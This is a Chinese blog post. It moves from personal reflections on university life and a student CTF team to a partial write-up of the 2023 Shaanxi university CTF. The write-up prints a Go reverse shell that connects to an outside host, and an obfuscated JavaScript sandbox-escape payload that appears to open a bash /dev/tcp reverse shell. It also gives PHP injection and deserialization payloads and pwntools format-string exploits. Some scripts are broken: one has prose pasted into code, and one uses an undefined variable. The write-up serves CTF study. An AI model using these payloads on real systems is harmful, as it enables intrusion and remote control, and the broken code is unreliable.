cv2.destroyAllWindows()

上面说的其实都不是问题,重要的是我还没有模型。。。没有实际测量,后面我打算弄一个模型简单测测再说吧。

起名?

“嘿,Siri!记录,凌晨零点三十二分,AI主要代码编写完成。”
“好的,我已为您创建好备忘录,请设置一个标题。”
我端起茶杯,浅尝一口,望向窗外,外面早已一片漆黑,仿佛被夜冲刷了所有的痕迹,透着它独有的深邃。
“嗯,就叫重明吧。”

这就是我的第一个AI,一个还不完善的AI🙂

惊鸿过隙

327f8aa73801dd90b7eab405c8c7703

我抬起头,望着夕阳🌇感受着指尖流动的风,回首看向大家离开教学楼,彷佛看到了三年前高考结束的自己,“当时也是这一片天空呢。” -- 2023年6月10日

三年

转眼要去实习了,惊鸿过隙,说句实话在学校我时常恍惚自己依旧是刚刚入学的大一新生,但微微一怔便暗自苦笑起来:是啊,我也老了,马上大四了。
从2020年开始,对于我来说,大学生活的简单概括就是:一直不能理解的浑浑噩噩。来到大学,这里没有高中时对自由憧憬的向往,课堂上没有对学业技术的刻苦钻研,有的仅仅是一些一成不变的规定和严格的警务化管理模式,在这样的重压之下,上课时的学习仿佛成了天方夜谭,是同学眼里的“异类”。与其每天都在上着我不太上心的课,倒不如去干一些有意思的事,于是终于在某一天,我决定开始翘课。很多人觉得这样蛮酷的,有自己的想法和风格,但其实这样会有不小的麻烦,在经历很多事情后,我也逐渐明白了很多,人们心里的成见就是一座大山,没有愚公移山的意志是改变不了的,我自知没有这样的时间和耐性,不够成熟,所以倒不如我去适应它。
IMG_4433
网络空间安全执法技术实验室,我们更喜欢亲切地称它为“圣地亚哥皮蛋厂”。但在我们心里,这里已经不仅仅是一个社团基地,更是我们所有人的,在这里有情同手足的兄弟姐妹,有一群为了一个共同的目标而不懈努力、通宵达旦的身影,更有一颗颗想为国家网络安全事业做出贡献的赤子之心(有故意升华的嫌疑doge),毕竟志同道合的朋友在一起,人生难得之幸事。

而现在,也终于要到了与19级的师哥师姐们分别的时候,六月的初夏——一个时常触动人们敏感神经的季节,因为有些人终究是要离开,有些人也会暂时留在我身边。看惯了这种分分离离,倒也感觉十分高兴,因为我相信离开的人是为了去做更有意义的事,而留下的人也能陪我走下一段路。我相信,在不久的将来,这样一群有梦的少年,会在某一年,大家还会聚首,相视而笑。

千帆过尽

2023,伴随着新年的第一缕曙光,新的一年悄然而至。全国疫情终于得到了非常有效的控制,学校也逐渐取消了核酸检测与常态化疫情防控,“外出参赛”这一安排经多方商讨后也是重新提上了日程。从那天起,一支来自某院校的不知名 CTF战队--圣地亚哥皮蛋​ / ​SanDieg0又或多或少地在各大网络安全比赛排行榜上活跃起来,而我们实验室的荣誉墙上也慢慢有了新的奖杯🏆来了许多新面貌。

西湖论剑、网鼎杯、红明谷杯、磐石行动、国赛、盘古石杯、智警杯。。。
杭州、三明、上海、南京、北京、西安、合肥。。。

但花开花落,云卷云舒,自己马上也要大四了,工作、学业越来越繁重,而我们的技术也肯定会在相当长的一段时间内止步不前,甚至落后于时代的车轮而被逐渐淘汰出这个我们曾经深深热爱、为之奋斗的圈子,转身要去和生活对线了,所以皮蛋厂的各位,接下来,请继续向前吧!

e449c631499b9ab814ed89b3932df3d

断开连接?

每一次外出参赛返回学校,我的心里都会隐隐生出一丝刺痛,因为我明白,对于学校的大多数人而言,人生不是轨道,不是旷野,更像是一片树林。轨道太过于局限,旷野太过于自由。树林里有很多人踏出来的小路,但更多的是还没有涉足的林地;你可以选择走那些小路,也可以选择去走那些人迹罕至的地方。走小路的是绝大多数人,考公、考研、工作,敢于去探索的是永远是少数人,因为绝大多数人没有能够在野外生活的常识与资本,就跟爆火的人工智能与网络安全所带来的红利普通人基本吃不到一样,他们最多能做的就是在小路上偏离一点点然后四处看看,最后又回到原有的路上。轨道式的生活太现实,在这样的生活里会过得很痛苦;旷野式的生活太理想,与绝大多数人无关,因为有些地方本来就很难涉足。

但是,那又怎样呢,我想对在学校的大家说,因为我讨厌后悔,反正成功和失败的概率是五五开,所以不管结局如何,请都要尽全力以赴,答案是对是错都无所谓,这个世界,没有人是“应该活成什么样子”。
ddd15e1b221442e64eb514c69db3e12

所以,SanDieg0.AndyNoel 断开连接?

我又怎么会甘心呢🙂?

2023 Shaanxi University Student CyberspaceSecurity Competition Partly WriteUp

WEB

test

image

/profile/admin

image

cmd5反查一下:​admin:asdfgh123

登录成功:

image

从网上找一个反弹shell的golang shell

package main
import (
    "io"
    "net"
    "io/ioutil"
    "log"
    "os/exec" 
)

var (
    cmd string
    line string
)

func main() {
    addr := "118.X.X.X:3333"
    conn,err := net.Dial("tcp",addr)
    if err != nil {
        log.Fatal(err)
    }

    buf := make([]byte,10240)
    for  {
        n,err := conn.Read(buf)
        if err != nil && err != io.EOF {
            log.Fatal(err)
        }

        cmd_str := string(buf[:n])
        cmd := exec.Command("/bin/bash","-c",cmd_str)
        stdout, err := cmd.StdoutPipe()
        if err != nil {
            log.Fatal(err)
        }
        defer stdout.Close()
        if err := cmd.Start(); err != nil {
            log.Fatal(err)
        }
        opBytes, err := ioutil.ReadAll(stdout)
        if err != nil {
            log.Fatal(err)
        }
        conn.Write([]byte(opBytes))
    }
}

自己写一个上传接口,然后修改相关信息,BP发包即可:

POST /Adm1nUp104d HTTP/1.1
Host: xxxxxxxxx.clsadp.com
Content-Length: 1203
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:63342
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydX4dGEAJZUS6ZqkT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarydX4dGEAJZUS6ZqkT
Content-Disposition: form-data; name="file"; filename="123.go"
Content-Type: application/octet-stream

package main
import (
    "io"
    "net"
    "io/ioutil"
    "log"
    "os/exec" 
)

var (
    cmd string
    line string
)

func main() {
    addr := "118.X.X.X:3333"
    conn,err := net.Dial("tcp",addr)
    if err != nil {
        log.Fatal(err)
    }

    buf := make([]byte,10240)
    for  {
        n,err := conn.Read(buf)
        if err != nil && err != io.EOF {
            log.Fatal(err)
        }

        cmd_str := string(buf[:n])
        cmd := exec.Command("/bin/bash","-c",cmd_str)
        stdout, err := cmd.StdoutPipe()
        if err != nil {
            log.Fatal(err)
        }
        defer stdout.Close()
        if err := cmd.Start(); err != nil {
            log.Fatal(err)
        }
        opBytes, err := ioutil.ReadAll(stdout)
        if err != nil {
            log.Fatal(err)
        }
        conn.Write([]byte(opBytes))
    }
}
------WebKitFormBoundarydX4dGEAJZUS6ZqkT
Content-Disposition: form-data; name="submit"

submit_file
------WebKitFormBoundarydX4dGEAJZUS6ZqkT--

image

ezrce

简单的无参数rce,正则里面开了​``​[模式就能执行命令]()。然后利用session,直接梭了PHP的无参数RCE - 先知社区 (aliyun.com)

image

unserialize

非预期了,不需要反序列化,直接%0a​绕过了

payload:passthru%0a(%27cat%20/flag%27);

Esc4pe_T0_Mong0

参考 angstromctf2022 misc/CaaSio PSE ,补充过滤​ / ​​防范正则,补充过滤URL编码绕过,需要进一步绕过长度限制

Read Source Code​ 可以看到页面源码,利用 this.constructor.constructor ​​进行沙箱逃逸

image

有长度限制和黑名单,可以用with​来绕过.​后续的内容我们可以使用 fromCharCode​ 来绕过敏感字符,但是由于长度限制,在fromCharCode ​​内部还需要进一步进行定义来缩短长度

payload:

with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,e=101,t=116,117,r,110,32,p=112,r,111,c=99,e,s=115,s))())with(mainModule)with(require(f(c,h=104,105,108,100,95,p,r,111,c,e,s,s)))exec(f(98,97,s,h,32,45,c,32,34,98,97,s,h,32,45,105,32,62,38,32,47,100,e,118,47,t,c,p,47,a=52,55,46,b=49,48,a,46,b,a,46,b,54,48,47,b,a,a,a,32,48,62,38,b,34))

反弹shell后直接进MongoDB,读flag​3702311e045df49394f3bcd7e26716e

ezpop

首先存在一个不可见字符的post传参,这里需要urlencode编码一下,然后再将其作为参数进行post传参

<?php
class night
{
    public $night;

    public function __destruct(){//night=new day()
        echo $this->night . '哒咩哟';
    }
}

class day
{
    public $day;
}

class light
{
    public $light;

}

class dark
{
    public $dark;

    public function getFlag(){
        include(hacked($this->dark));
    }
}

function hacked($s) {
    if(substr($s, 0,1) == '/'){
        die('呆jio步');
    }
    $s = preg_replace('/\.\.*/', '.', $s);
    $s = urldecode($s);
    $s = htmlentities($s, ENT_QUOTES, 'UTF-8');
    return strip_tags($s);
}
$a=new night();
$a -> night=new day();
$a -> night ->day=new dark();
$a ->night ->day -> dark=new light();
$a -> night ->day ->dark -> light=new day();
$a ->night ->day ->dark ->light->day=new dark();
$a ->night ->day ->dark ->light->day->dark='php://filter/convert.base64-encode/resource=/flag';
$b=array($a,0);
echo serialize($b);

因为GC回收机制,我们将得到了serialize$b中的1改成0,最后生成我们最后的payload:

a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}i:1;i:0;}
a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}i:0;i:0;}

PWN

陕西游玩

from pwn import *

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
context(os='linux',arch='amd64',log_level='debug')

p=process('./pwn')
#p=remote('60.X.X.55',10001)
elf = ELF('./pwn')
libc=ELF('libc.so.6')
ru('choice :\n')
sl('2')
ru('Warriors\n')
sl('%11$p')
ru('0x')
base=int(r(12),16)-0x13a0
ru('choice :\n')
sl('1')
payload=b'a'*0x28+p64(base+0x129A)
p.sendline(payload)
itr()

easy_printf

from pwn import *
from ctypes import *

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
context(os='linux',arch='amd64',log_level='debug')

p=process('./pwn')
#p=remote('60.X.X.X',10010)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

ru('Do you know who the best pwner is?\n')
sl('TokameinE_is_the_best_pwner\0')
ru('What do you want to say?\n')
sl('%18$p')
ru('0x')

libc_base = int(r(12),16) - 0x5f1168
leak('libcbase',libc_base)
og = libc_base + 0x4527a
free_hook = libc.sym["__free_hook"] + libc_base
leak('og',og)

leak('free_hook',free_hook)
free = free_hook//0x100000000

leak('free',free)
free1 = free_hook//0x10000000000

num = 72
sla('What do you want to say?\n','%'+str(num)+'c%8$hhn')
sla('What do you want to say?\n','%'+str(free_hook&0xffff)+'c%10$hn')
sla('What do you want to say?\n','%'+str(num+2)+'c%8$hhn')
sla('What do you want to say?\n','%'+str((free_hook//0x10000)&0xff)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(og&0xffff)+'c%29$hn')
sla('What do you want to say?\n','%'+str(num)+'c%8$hhn')
sla('What do you want to say?\n','%'+str(0xaa)+'c%10$hhn')
sla('What do you want to say?\n','%'+str((og//0x10000)&0xffff)+'c%29$hn')
sla('What do you want to say?\n','%'+str(0xac)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(free&0xff)+'c%29$hhn')
sla('What do you want to say?\n','%'+str(0xad)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(free1)+'c%29$hhn')

itr()

MISC

Findme

twealpng打开图片,发现有数据块较大,提取出来

image

手动提取后,发现大小刚好为500k,怀疑是VeraCrypt加密容器

image

image

修复图片后进行挂载,

image

image

将其转换成16进制数据后写入新文件,图片调整高度为400出二维码:

image

扫描出flag

你是不是很疑惑呢

按照提示,aztec条形码时间戳异或,将创建时间与修改时间进行转化后异或

可以先将汉字与阿拉伯数字进行手动替换

import os  
import datetime

# 指定文件夹路径  
folder_path = "path/to/folder"

# 遍历文件夹  
for filename in os.listdir(folder_path):  
    # 只处理 png 文件  
    if filename.endswith(".png"):  
        # 获取文件的创建时间和修改时间的时间戳  
        create_time = datetime.datetime.fromtimestamp(os.path.getmtime(os.path.join(folder_path, filename)))  
        modify_time = datetime.datetime.fromtimestamp(os.path.getmtime(os.path.join(folder_path, filename)))  

        # 将时间戳异或  
        和时间戳异或的操作符进行运算  
        result = create_time ^ modify_time  

        # 打印输出  
        print(f"{filename}的创建时间为{create_time.strftime('%Y-%m-%d %H:%M:%S')},\  
            修改时间为{modify_time.strftime('%Y-%m-%d %H:%M:%S')},\  
            异或结果为{result.strftime('%X')}")  

按顺序转ascii得到flag

image

管道

签到misc,随便旋转一下,zsteg -a 管道.png

image

可是雪啊飘进双眼

wav有摩斯密码,

image​解密WOAIXIAN​,然后txt是snow隐写:

image

解压,key.jpg是加密的对照表,改为zip再次打开

image

对照后得到密钥: BC1PVEYD

steghide解密hide.jpg即可

Crypto

HaM3

CryptoCTF2021原题

pq乘积在n里

组合爆破分解

from Crypto.Util.number import *
from tqdm import tqdm

n = 142672086626283587048017713116658568907056287246536918432205313755474498483915485435443731126588499776739329317569276048159601495493064346081295993762052633
c = 35771468551700967499031290145813826705314774357494021918317304230766070868171631520643911378972522363861624359732252684003796428570328730483253546904382041
low = str(n)[-19:]
high = str(n)[:19]
pq_prob = []

for i in range(10):
    pq_prob.append(int(high + str(i) + low))

for x in tqdm(pq_prob):
    f = factor(x)
    if (len(f) == 2 and f[0][0].nbits() == 64):
        p, q = f[0][0], f[1][0]
print(p,q)
P = int(str(p) + str(q))
Q = int(str(q) + str(p))
PP = int(str(P) + str(Q))
QQ = int(str(Q) + str(P))
N = PP * QQ
print(N)
assert N == n
phi = (PP - 1) * (QQ - 1)
d = inverse(e, phi)
m = pow(c, d, p * q)
print(m)
print(long_to_bytes(m))

奇怪的sar

lcg流密码加异或

用剪枝算法能解

from Crypto.Util.number import *
from gmpy2 import *
n =  24044063028844014127418595700558729326190738802687551098858513077613750188240082663594575453404975706225242363463089392757425008423696150244560748490108425645064339883915929498539109384801415313004805586193044292137299902797522618277016789979196782551492020031695781792205215671106103568559626617762521687128199445018651010056934305055040748892733145467040663073395258760159451903432330506383025685265502086582538667772105057401245864822281535425692919273252955571196166824113519446568745718898654447958192533288063735350717599092500158028352667339959012630051251024677881674246253876293205648190626145653304572328397
c =  14883053247652228283811442762780942186987432684268901119544211089991663825267989728286381980568977804079766160707988623895155236079459150322336701772385709429870215701045797411519212730389048862111088898917402253368572002593328131895422933030329446097639972123501482601377059155708292321789694103528266681104521268192526745361895856566384239849048923482217529011549596939269967690907738755747213669693953769070736092857407573675987242774763239531688324956444305397953424851627349331117467417542814921554060612622936755420459029769026126293588814831034143264949347763031994934813475762839410192390466491651507733968227
n1 =  137670797028117726329534659376416493367957852768263083700434198723955223922183386928456013703791817601151754417828367188186912209697081337658512940425529211281290630976671911327606706953154608427885071841566358882014021242768190762103365969320014710368160869517966437591299370072284930202718943785099916898209
enc =  [101737402423360536260958229788866250367716256968287178187558336481872788309727545478736771692477306412259739856568227009850831432381180909815512654609798228982433082928392936844193974517574281026029228179913579225687286945054175762659252515268270399329404664775893089132101252158524000295899895962104782878103, 37355684997487259669354747104430314505839306993101096210478266975184357608742619438151118843905165289324251734149329596611854110739738607745107961453008343886403511257039401245484528985856920723694142989180291902939107642020398816995584650913417698279936585230648639613028793148102494100898288564799111024672, 58677759595639211550435023449462812079890625834313820227189340593596480924226619376872336960357021314847975570175387751632125898437020801920862764666175594874885587518469384576361008639967382152477408865298759987606155830674598034578657554841283906976808719095766296677147076808250022898199866472085742989883, 61841632061818470036288407041172200048676249787061823756736224887116113640875444187463656719652972233582538657844183320242896612625995507633237074900538692102956750184024574603018257213912795847625926653585010890014291951218199774765624860625726555381815237888483974246173727262881650634287497285246796321130, 7618244158597756867387754433401378508070531356170836765779245254233413235386172690733378371343899289510629513166609513857423499004879497768588665836034791151090648182168421570449377835494883902907064269417199065924565304966242954268460876762295575715334403142360198583318323418975108290758222653083011275844, 106276841058222138994123556391380518368163552919305398852484130331884811278068151915582752795463570013359693610495645946230044828403849434903415989487924763756589202218361370725532394478569304449884620166937809374355282324069422109879874964479199929174533104879048175102339134830614476339153367475243140156049, 54574757236475194407137831004617398270525645136836468973535243574661043352422598443323384197261529289829451787586618886007968913414366545291507686451774653217577858375086817168124727394445167274831801876424578654786480330913650363551771258617533162477541882336257099777912519011890593910515860435759936717781, 15567087904962670212229825713697043597876172881256160613623383896576159414077875401117959132252949501643234465895697270909085179587988268864498823765197994781747034644583869111599516151129007414228897958635533561248099927507725880289417298814703767549313482346652043188826434944367260731729064673486516315207, 10757138067445225320504771816863593606847219020279502671965413470243269270456133564739090471033889069283122519782525412134604896073598293410977787230108853737796640474070194546344190858079847734817109910030714675258996740807873872365037296486121580542250452443305370358407408558223735250474249180772656905880, 68097848963949068260912124852455363245291187860801223898468533992003737157497436432969031551088942445561676359631354280979357356539429863946694570097104716411407829017684705171462511875250672979623888463245258237680782731827727876526411531354910982579164963119481534453651300645314177478026462894232377307020]
seed = 39428646082513135314545544161912595458975375891528176714825766497155482031976852156313956476772023258684487799640179241987139554034654104867011313090105438798561154654679825702410748780286094326639330840289843154525176685892323447168072417654823748596238888125898914210332775882916911771786984574407163323116
start = [(1, 1)]
for i in range(1, 1025):
    tmp = (1 << (i+1))
    all = []
    for p1, q1 in start:
        for s in range(2):
            for t in range(2):
                cp = p1 + s * (1 << i)
                cq = q1 + t * (1 << i)
                all.append((cp, cq))
    start = all
for p,q in all:
    phi = (p - 1) * (q - 1)
    e = 65537
    d = inverse(e, phi)
    m = pow(c, d, n)
    if b'flag' in long_to_bytes(m):
        print(long_to_bytes(m))
        break

Reverse

我的upx-d怎么坏了

od手脱,反编译找到迷宫,找到最短路径,

解出为RRRDRRURRRRRRDDDDRDDD

MD5后套上flag

image

babypython

149         910 LOAD_CONST             147 ('************************************')
            912 STORE_NAME              32 (flag)

152         914 LOAD_CONST             148 ('')
            916 STORE_NAME              33 (value)

153         918 LOAD_CONST             148 ('')
            920 STORE_NAME              34 (output)

154         922 LOAD_CONST               0 (0)
            924 STORE_NAME              30 (i)

156         926 NOP

157     >>  928 LOAD_NAME               32 (flag)
            930 LOAD_NAME               30 (i)
            932 BINARY_SUBSCR
            942 STORE_NAME              35 (temp)

158         944 PUSH_NULL
            946 LOAD_NAME               36 (chr)
            948 PUSH_NULL
            950 LOAD_NAME               37 (ord)
            952 LOAD_NAME               35 (temp)
            954 PRECALL                  1
            958 CALL                     1
            968 LOAD_CONST             150 (8)
            970 BINARY_OP               12 (^)
            974 PRECALL                  1
            978 CALL                     1
            988 STORE_NAME              35 (temp)

159         990 LOAD_NAME               33 (value)
            992 LOAD_NAME               35 (temp)
            994 BINARY_OP               13 (+=)
            998 STORE_NAME              33 (value)

160        1000 LOAD_NAME               30 (i)
           1002 LOAD_CONST             149 (1)
           1004 BINARY_OP               13 (+=)
           1008 STORE_NAME              30 (i)

161        1010 LOAD_NAME               30 (i)
           1012 PUSH_NULL
           1014 LOAD_NAME               38 (len)
           1016 LOAD_NAME               32 (flag)
           1018 PRECALL

找到
=1nb0A3b7AUQwB3b84mQ/E0MvJUb+EXbx5TQwF3bt52bAZncsd9c

字节反转,

c9dscnZAb25tb3FwQT5xbXE+bUJvM0E/Qm48b3BwQUA7b3A0bn1=

手动将数字和英文字母进行替换

cWdscnZAb25tbHFwQT5xbXE+bUJvM0E/Qm4=
再base64进行解码qglrv@onmlqpA>qmq>mBo3A?Bn

enc = "qglrv@onmlqpA>qmq>mBo3A?Bn"
for i in range(len(enc)):
    print(chr(ord(enc[i])-3^8),end="")